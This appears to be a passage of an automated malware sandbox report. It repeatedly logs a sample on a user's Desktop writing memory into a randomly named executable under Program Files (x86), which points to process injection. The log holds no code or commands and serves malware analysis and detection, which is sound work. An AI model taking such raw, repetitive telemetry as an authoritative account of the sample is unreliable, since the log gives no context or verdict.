Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2230000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: ED0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2AB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2B00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2110000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2160000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2AD0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2C20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 810000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 820000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2A60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2A70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1200000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1210000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: F60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 23B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2400000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B80000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B90000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 7D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 7E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2EC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2F10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1150000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1160000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 25E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2640000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D40000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2D50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2B10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2C60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 11E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 11F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 11D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 11E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 670000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 680000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 810000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 820000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 14A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 14B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E70000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 8B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 8C0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 860000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 870000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 24A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 24F0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 9B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: A00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: AF0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B00000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: B10000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: D30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1260000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1270000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: FC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: E60000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 12A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 12B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2080000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2090000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2F50000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2A20000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2A30000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2570000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2580000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 12D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1320000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 28A0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 28B0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1160000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 1170000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 9D0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 9E0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: AB0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: AC0000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2210000 Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Memory written: C:\Program Files (x86)\tYMJcUwLIruuPEZJYgmdvQkNNMXgSxEIjpCFRJwRUidVdDBvVsJqw\IbEUOdTjaKPFNFCSv.exe base: 2220000 Jump to behavior
